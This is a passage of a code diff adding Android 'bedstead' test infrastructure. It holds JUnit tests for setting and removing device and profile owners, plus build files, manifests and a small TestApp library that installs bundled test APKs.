+    public void any_userHandle_nonRemoteDpcDeviceOwner_noProfileOwner_returnsNull() {
+        DeviceOwner deviceOwner = sTestApis.devicePolicy().setDeviceOwner(sUser,
+                NON_REMOTE_DPC_COMPONENT);
+
+        try {
+            assertThat(RemoteDpc.any(sUser.userHandle())).isNull();
+        } finally {
+            deviceOwner.remove();
+        }
+    }
+
+    @Test
+    public void any_userHandle_remoteDpcDeviceOwner_returnsDeviceOwner() {
+        RemoteDpc deviceOwner = RemoteDpc.setAsDeviceOwner(sUser);
+
+        try {
+            assertThat(RemoteDpc.any(sUser.userHandle())).isEqualTo(deviceOwner);
+        } finally {
+            deviceOwner.devicePolicyController().remove();
+        }
+    }
+
+    @Test
+    public void any_userHandle_remoteDpcProfileOwner_returnsProfileOwner() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            RemoteDpc profileOwner = RemoteDpc.setAsProfileOwner(profile);
+
+            assertThat(RemoteDpc.any(profile.userHandle())).isEqualTo(profileOwner);
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void any_userReference_null_throwsException() {
+        assertThrows(NullPointerException.class, () -> RemoteDpc.any((UserReference) null));
+    }
+
+    @Test
+    public void any_userReference_noDeviceOwner_noProfileOwner_returnsNull() {
+        assertThat(RemoteDpc.any(sUser)).isNull();
+    }
+
+    @Test
+    public void any_userReference_noDeviceOwner_nonRemoteDpcProfileOwner_returnsNull() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        sNonRemoteDpcTestApp.install(profile);
+        try {
+            sTestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
+
+            assertThat(RemoteDpc.any(profile)).isNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void any_userReference_nonRemoteDpcDeviceOwner_noProfileOwner_returnsNull() {
+        DeviceOwner deviceOwner = sTestApis.devicePolicy().setDeviceOwner(sUser,
+                NON_REMOTE_DPC_COMPONENT);
+
+        try {
+            assertThat(RemoteDpc.any(sUser)).isNull();
+        } finally {
+            deviceOwner.remove();
+        }
+    }
+
+    @Test
+    public void any_userReference_remoteDpcDeviceOwner_returnsDeviceOwner() {
+        RemoteDpc deviceOwner = RemoteDpc.setAsDeviceOwner(sUser);
+
+        try {
+            assertThat(RemoteDpc.any(sUser)).isEqualTo(deviceOwner);
+        } finally {
+            deviceOwner.devicePolicyController().remove();
+        }
+    }
+
+    @Test
+    public void any_userReference_remoteDpcProfileOwner_returnsProfileOwner() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            RemoteDpc profileOwner = RemoteDpc.setAsProfileOwner(profile);
+
+            assertThat(RemoteDpc.any(profile)).isEqualTo(profileOwner);
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void setAsDeviceOwner_userHandle_null_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> RemoteDpc.setAsDeviceOwner((UserHandle) null));
+    }
+
+    @Test
+    public void setAsDeviceOwner_userHandle_nonExistingUser_throwsException() {
+        assertThrows(NeneException.class,
+                () -> RemoteDpc.setAsDeviceOwner(NON_EXISTING_USER_HANDLE));
+    }
+
+    @Test
+    public void setAsDeviceOwner_userHandle_alreadySet_doesNothing() {
+        RemoteDpc.setAsDeviceOwner(sUser.userHandle());
+
+        DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
+        try {
+            RemoteDpc.setAsDeviceOwner(sUser.userHandle());
+
+            deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
+            assertThat(deviceOwner).isNotNull();
+        } finally {
+            if (deviceOwner != null) {
+                deviceOwner.remove();
+            }
+        }
+    }
+
+    @Test
+    public void setAsDeviceOwner_userHandle_alreadyHasDeviceOwner_replacesDeviceOwner() {
+        sTestApis.devicePolicy().setDeviceOwner(sUser, NON_REMOTE_DPC_COMPONENT);
+
+        try {
+            RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner(sUser.userHandle());
+
+            DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
+            assertThat(deviceOwner).isEqualTo(remoteDPC.devicePolicyController());
+        } finally {
+            sTestApis.devicePolicy().getDeviceOwner().remove();
+        }
+    }
+
+    @Test
+    public void setAsDeviceOwner_userHandle_doesNotHaveDeviceOwner_setsDeviceOwner() {
+        RemoteDpc.setAsDeviceOwner(sUser.userHandle());
+
+        DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
+        try {
+            assertThat(deviceOwner).isNotNull();
+        } finally {
+            if (deviceOwner != null) {
+                deviceOwner.remove();
+            }
+        }
+    }
+
+    @Test
+    public void setAsDeviceOwner_userReference_null_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> RemoteDpc.setAsDeviceOwner((UserReference) null));
+    }
+
+    @Test
+    public void setAsDeviceOwner_userReference_nonExistingUser_throwsException() {
+        assertThrows(NeneException.class,
+                () -> RemoteDpc.setAsDeviceOwner(NON_EXISTING_USER_REFERENCE));
+    }
+
+    @Test
+    public void setAsDeviceOwner_userReference_alreadySet_doesNothing() {
+        RemoteDpc.setAsDeviceOwner(sUser);
+
+        DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
+        try {
+            RemoteDpc.setAsDeviceOwner(sUser);
+
+            deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
+            assertThat(deviceOwner).isNotNull();
+        } finally {
+            if (deviceOwner != null) {
+                deviceOwner.remove();
+            }
+        }
+    }
+
+    @Test
+    public void setAsDeviceOwner_userReference_alreadyHasDeviceOwner_replacesDeviceOwner() {
+        sTestApis.devicePolicy().setDeviceOwner(sUser, NON_REMOTE_DPC_COMPONENT);
+
+        try {
+            RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner(sUser);
+
+            DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
+            assertThat(deviceOwner).isEqualTo(remoteDPC.devicePolicyController());
+        } finally {
+            sTestApis.devicePolicy().getDeviceOwner().remove();
+        }
+    }
+
+    @Test
+    public void setAsDeviceOwner_userReference_doesNotHaveDeviceOwner_setsDeviceOwner() {
+        RemoteDpc.setAsDeviceOwner(sUser);
+
+        DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
+        try {
+            assertThat(deviceOwner).isNotNull();
+        } finally {
+            if (deviceOwner != null) {
+                deviceOwner.remove();
+            }
+        }
+    }
+
+    @Test
+    public void setAsProfileOwner_userHandle_null_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> RemoteDpc.setAsProfileOwner((UserHandle) null));
+    }
+
+    @Test
+    public void setAsProfileOwner_userHandle_nonExistingUser_throwsException() {
+        assertThrows(NeneException.class,
+                () -> RemoteDpc.setAsProfileOwner(NON_EXISTING_USER_HANDLE));
+    }
+
+    @Test
+    public void setAsProfileOwner_userHandle_alreadySet_doesNothing() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            RemoteDpc.setAsProfileOwner(profile.userHandle());
+
+            RemoteDpc.setAsProfileOwner(profile.userHandle());
+
+            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isNotNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void setAsProfileOwner_userHandle_alreadyHasProfileOwner_replacesProfileOwner() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        sNonRemoteDpcTestApp.install(profile);
+        try {
+            sTestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
+
+            RemoteDpc remoteDPC = RemoteDpc.setAsProfileOwner(profile.userHandle());
+
+            assertThat(sTestApis.devicePolicy().getProfileOwner(profile))
+                    .isEqualTo(remoteDPC.devicePolicyController());
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void setAsProfileOwner_userHandle_doesNotHaveProfileOwner_setsProfileOwner() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            RemoteDpc.setAsProfileOwner(profile.userHandle());
+
+            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isNotNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void setAsProfileOwner_userReference_null_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> RemoteDpc.setAsProfileOwner((UserReference) null));
+    }
+
+    @Test
+    public void setAsProfileOwner_userReference_nonExistingUser_throwsException() {
+        assertThrows(NeneException.class,
+                () -> RemoteDpc.setAsProfileOwner(NON_EXISTING_USER_REFERENCE));
+    }
+
+    @Test
+    public void setAsProfileOwner_userReference_alreadySet_doesNothing() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            RemoteDpc.setAsProfileOwner(profile);
+
+            RemoteDpc.setAsProfileOwner(profile);
+
+            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isNotNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void setAsProfileOwner_userReference_alreadyHasProfileOwner_replacesProfileOwner() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        sNonRemoteDpcTestApp.install(profile);
+        try {
+            sTestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
+
+            RemoteDpc remoteDPC = RemoteDpc.setAsProfileOwner(profile);
+
+            assertThat(sTestApis.devicePolicy().getProfileOwner(profile))
+                    .isEqualTo(remoteDPC.devicePolicyController());
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void setAsProfileOwner_userReference_doesNotHaveProfileOwner_setsProfileOwner() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            RemoteDpc.setAsProfileOwner(profile);
+
+            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isNotNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void devicePolicyController_returnsDevicePolicyController() {
+        RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner(sUser);
+
+        try {
+            assertThat(remoteDPC.devicePolicyController())
+                    .isEqualTo(sTestApis.devicePolicy().getDeviceOwner());
+        } finally {
+            remoteDPC.remove();
+        }
+    }
+
+    @Test
+    public void remove_deviceOwner_removes() {
+        RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner(sUser);
+
+        remoteDPC.remove();
+
+        assertThat(sTestApis.devicePolicy().getDeviceOwner()).isNull();
+    }
+
+    @Test
+    public void remove_profileOwner_removes() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            RemoteDpc remoteDPC = RemoteDpc.setAsProfileOwner(profile);
+
+            remoteDPC.remove();
+
+            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isNull();
+        } finally {
+            profile.remove();
+        }
+    }
+
+    // TODO(scottjonathan): Do we need to support the case where there is both a DO and a PO on
+    //  older versions of Android?
+}
diff --git a/common/device-side/bedstead/testapp/Android.bp b/common/device-side/bedstead/testapp/Android.bp
new file mode 100644
index 0000000..5b325c4
--- /dev/null
+++ b/common/device-side/bedstead/testapp/Android.bp
@@ -0,0 +1,95 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_library {
+    name: "TestApp",
+    sdk_version: "test_current",
+    srcs: [
+        "src/main/java/**/*.java"
+    ],
+    static_libs: [
+        "Nene",
+    ],
+    manifest: "src/main/AndroidManifest.xml",
+    min_sdk_version: "27",
+    resource_zips: [":TestApp_Apps"],
+}
+
+android_test {
+    name: "TestAppTest",
+    srcs: [
+        "src/test/java/**/*.java"
+    ],
+    test_suites: [
+        "general-tests",
+    ],
+    static_libs: [
+        "Nene",
+        "TestApp",
+        "androidx.test.ext.junit",
+        "truth-prebuilt",
+        "testng" // for assertThrows
+    ],
+    manifest: "src/test/AndroidManifest.xml",
+    min_sdk_version: "27"
+}
+
+python_binary_host {
+    name: "index_testapps",
+    version: {
+        py2: {
+            enabled: false,
+            embedded_launcher: false,
+        },
+        py3: {
+            enabled: true,
+            embedded_launcher: true,
+        },
+    },
+    main: "tools/index/index_testapps.py",
+    srcs: [
+        "tools/index/index_testapps.py",
+    ]
+}
+
+java_genrule {
+    name: "TestApp_Apps",
+    srcs: [":EmptyTestApp", ":EmptyTestApp2", ":DeviceAdminTestApp"],
+    out: ["TestApp_Apps.res.zip"],
+    tools: ["soong_zip", "index_testapps"],
+    cmd: "mkdir -p $(genDir)/res/raw"
+         + " && cp $(location :EmptyTestApp) $(genDir)/res/raw"
+         + " && cp $(location :EmptyTestApp2) $(genDir)/res/raw"
+         + " && cp $(location :DeviceAdminTestApp) $(genDir)/res/raw"
+         + " && $(location index_testapps) --directory $(genDir)/res/raw"
+         + " && $(location soong_zip) -o $(out) -C $(genDir)/res -D $(genDir)/res/raw"
+}
+
+android_test_helper_app {
+    name: "EmptyTestApp",
+    static_libs: [
+        "EventLib"
+    ],
+    manifest: "manifests/EmptyTestAppManifest.xml",
+    min_sdk_version: "27"
+}
+
+android_test_helper_app {
+    name: "EmptyTestApp2",
+    static_libs: [
+        "EventLib"
+    ],
+    manifest: "manifests/EmptyTestApp2Manifest.xml",
+    min_sdk_version: "27"
+}
+
+android_test_helper_app {
+    name: "DeviceAdminTestApp",
+    static_libs: [
+        "EventLib",
+        "DeviceAdminApp"
+    ],
+    manifest: "manifests/DeviceAdminManifest.xml",
+    min_sdk_version: "27"
+}
diff --git a/common/device-side/bedstead/testapp/AndroidTest.xml b/common/device-side/bedstead/testapp/AndroidTest.xml
new file mode 100644
index 0000000..6ef4fe3
--- /dev/null
+++ b/common/device-side/bedstead/testapp/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for Testapp test cases">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="TestAppTest.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.bedstead.testapp.test" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/common/device-side/bedstead/testapp/manifests/DeviceAdminManifest.xml b/common/device-side/bedstead/testapp/manifests/DeviceAdminManifest.xml
new file mode 100644
index 0000000..2e21786
--- /dev/null
+++ b/common/device-side/bedstead/testapp/manifests/DeviceAdminManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.DeviceAdminTestApp">
+    <application
+        android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory"
+        android:testOnly="true">
+    </application>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+</manifest>
diff --git a/common/device-side/bedstead/testapp/manifests/EmptyTestApp2Manifest.xml b/common/device-side/bedstead/testapp/manifests/EmptyTestApp2Manifest.xml
new file mode 100644
index 0000000..e96e221
--- /dev/null
+++ b/common/device-side/bedstead/testapp/manifests/EmptyTestApp2Manifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.EmptyTestApp2">
+    <application
+        android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory">
+    </application>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+</manifest>
diff --git a/common/device-side/bedstead/testapp/manifests/EmptyTestAppManifest.xml b/common/device-side/bedstead/testapp/manifests/EmptyTestAppManifest.xml
new file mode 100644
index 0000000..1f07ddb
--- /dev/null
+++ b/common/device-side/bedstead/testapp/manifests/EmptyTestAppManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.EmptyTestApp">
+    <application
+        android:appComponentFactory="com.android.eventlib.premade.EventLibAppComponentFactory">
+    </application>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+</manifest>
diff --git a/common/device-side/bedstead/testapp/src/main/AndroidManifest.xml b/common/device-side/bedstead/testapp/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..54be508
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/main/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.testapp">
+    <uses-sdk android:minSdkVersion="27" />
+    <application>
+    </application>
+</manifest>
diff --git a/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/NotFoundException.java b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/NotFoundException.java
new file mode 100644
index 0000000..669bb13
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/NotFoundException.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+/** {@link Exception} thrown when a query doesn't match any test apps. */
+public class NotFoundException extends RuntimeException {
+    public NotFoundException(TestAppQueryBuilder query) {
+
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestApp.java b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestApp.java
new file mode 100644
index 0000000..6bc9a7a
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestApp.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import static com.android.compatibility.common.util.FileUtils.readInputStreamFully;
+
+import android.content.Context;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.packages.Package;
+import com.android.bedstead.nene.packages.PackageReference;
+import com.android.bedstead.nene.users.UserReference;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+/** Represents a single test app which can be installed and interacted with. */
+public class TestApp {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private final TestAppDetails mDetails;
+
+    TestApp(TestAppDetails details) {
+        if (details == null) {
+            throw new NullPointerException();
+        }
+        mDetails = details;
+    }
+
+    /**
+     * Get a {@link PackageReference} for the {@link TestApp}.
+     *
+     * <p>This will only be resolvable after the app is installed.
+     */
+    public PackageReference reference() {
+        return sTestApis.packages().find(packageName());
+    }
+
+    /**
+     * Get a {@link Package} for the {@link TestApp}, or {@code null} if it is not installed.
+     */
+    public Package resolve() {
+        return reference().resolve();
+    }
+
+    /**
+     * Install the {@link TestApp} on the device for the given {@link UserReference}.
+     */
+    public void install(UserReference user) {
+        sTestApis.packages().install(user, apkBytes());
+    }
+
+    /**
+     * Install the {@link TestApp} on the device for the given {@link UserHandle}.
+     */
+    public void install(UserHandle user) {
+        install(sTestApis.users().find(user));
+    }
+
+    private byte[] apkBytes() {
+        try (InputStream inputStream =
+                     sContext.getResources().openRawResource(mDetails.mResourceIdentifier)) {
+            return readInputStreamFully(inputStream);
+        } catch (IOException e) {
+            throw new NeneException("Error when reading TestApp bytes", e);
+        }
+    }
+
+    /** Write the APK file to the given {@link File}. */
+    public void writeApkFile(File outputFile) throws IOException {
+        try (FileOutputStream output = new FileOutputStream(outputFile)) {
+            output.write(apkBytes());
+        }
+    }
+
+    /** The package name of the test app. */
+    public String packageName() {
+        return mDetails.mPackageName;
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppDetails.java b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppDetails.java
new file mode 100644
index 0000000..51f7547
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppDetails.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+class TestAppDetails {
+    String mPackageName;
+    int mResourceIdentifier;
+}
diff --git a/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppProvider.java b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppProvider.java
new file mode 100644
index 0000000..c6e6789
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppProvider.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import android.content.Context;
+
+import com.android.bedstead.nene.TestApis;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.HashSet;
+import java.util.Set;
+
+/** Entry point to Test App. Used for querying for {@link TestApp} instances. */
+public final class TestAppProvider {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+
+    private boolean mTestAppsInitialised = false;
+    private final Set<TestAppDetails> mTestApps = new HashSet<>();
+
+    /** Begin a query for a {@link TestApp}. */
+    public TestAppQueryBuilder query() {
+        return new TestAppQueryBuilder(this);
+    }
+
+    /** Get any {@link TestApp}. */
+    public TestApp any() {
+        return query().get();
+    }
+
+    Set<TestAppDetails> testApps() {
+        initTestApps();
+        return mTestApps;
+    }
+
+    private void initTestApps() {
+        if (mTestAppsInitialised) {
+            return;
+        }
+        mTestAppsInitialised = true;
+
+        int indexId = sContext.getResources().getIdentifier(
+                "raw/index", /* defType= */ null, sContext.getPackageName());
+
+        try (InputStream inputStream = sContext.getResources().openRawResource(indexId);
+             BufferedReader bufferedReader =
+                     new BufferedReader(new InputStreamReader(inputStream))) {
+            String apkName;
+            while ((apkName = bufferedReader.readLine()) != null) {
+                loadApk(apkName);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException("TODO");
+        }
+    }
+
+    private void loadApk(String apkName) {
+        TestAppDetails details = new TestAppDetails();
+        details.mPackageName = "android." + apkName; // TODO: Actually index the package name
+        details.mResourceIdentifier = sContext.getResources().getIdentifier(
+                "raw/" + apkName, /* defType= */ null, sContext.getPackageName());
+
+        mTestApps.add(details);
+    }
+
+    void markTestAppUsed(TestAppDetails testApp) {
+        mTestApps.remove(testApp);
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
new file mode 100644
index 0000000..cd50513
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/main/java/com/android/bedstead/testapp/TestAppQueryBuilder.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+/** Builder for progressively building {@link TestApp} queries. */
+public final class TestAppQueryBuilder {
+    // TODO(scottjonathan): Consider how specific we can make this query builder - perhaps pull out
+    //  the queries from EventLib and use them here too
+    private final TestAppProvider mProvider;
+    private String mPackageName = null;
+
+    TestAppQueryBuilder(TestAppProvider provider) {
+        if (provider == null) {
+            throw new NullPointerException();
+        }
+        mProvider = provider;
+    }
+
+    /**
+     * Query for a {@link TestApp} with a given package name.
+     *
+     * <p>Only use this filter when you are relying specifically on the package name itself. If you
+     * are relying on features you know the {@link TestApp} with that package name has, query for
+     * those features directly.
+     */
+    public TestAppQueryBuilder withPackageName(String packageName) {
+        if (packageName == null) {
+            throw new NullPointerException();
+        }
+        mPackageName = packageName;
+        return this;
+    }
+
+    /**
+     * Get the {@link TestApp} matching the query.
+     *
